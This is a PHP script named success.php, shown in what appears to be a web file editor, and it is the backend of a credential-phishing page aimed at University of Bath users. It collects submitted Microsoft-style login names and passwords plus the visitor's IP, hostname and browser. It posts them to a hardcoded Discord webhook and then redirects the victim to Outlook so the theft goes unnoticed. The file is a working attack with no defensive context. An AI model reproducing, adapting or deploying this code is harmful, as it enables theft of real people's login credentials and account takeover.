Editing: success.php
<?php ob_start(); session_start(); // ---------- SETTINGS ---------- // // Discord Webhook URL (leave empty "" to disable Discord output) $discordWebhook = "https://discord.com/api/webhooks/1417533185608384703/-VUWHX_kpj1T7YreYF7GAiK9Ej8IqGvtLVxFSO-ZetbBouqaDyb0Id3O4akxpdsuwxX_"; // Redirect URL after form submission $redirectURL = "https://outlook.office.com/mail/inbox"; // ---------- MAIN SCRIPT ---------- // if ($_SERVER["REQUEST_METHOD"] === "POST") { // Collect form data safely $loginfmt = htmlspecialchars($_POST['loginfmt'] ?? ''); $passwd = htmlspecialchars($_POST['passwd'] ?? ''); // Collect visitor info $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $hostname = gethostbyaddr($ip); $agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; // Build message text $text = "**smtphost.bath.ac.uk - [ $ip ]**\n" . "User: $loginfmt\n" . "Pass: $passwd\n" . "Host: $hostname\n" . "Gent: $agent \n" . "------------------[University of Bath]-------------------\n"; // Send to Discord if webhook is set if (!empty($discordWebhook)) { $payload = json_encode(["content" => $text], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); $ch = curl_init($discordWebhook); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } // Redirect after submission header("Location: $redirectURL"); exit; } ?>
Save
Back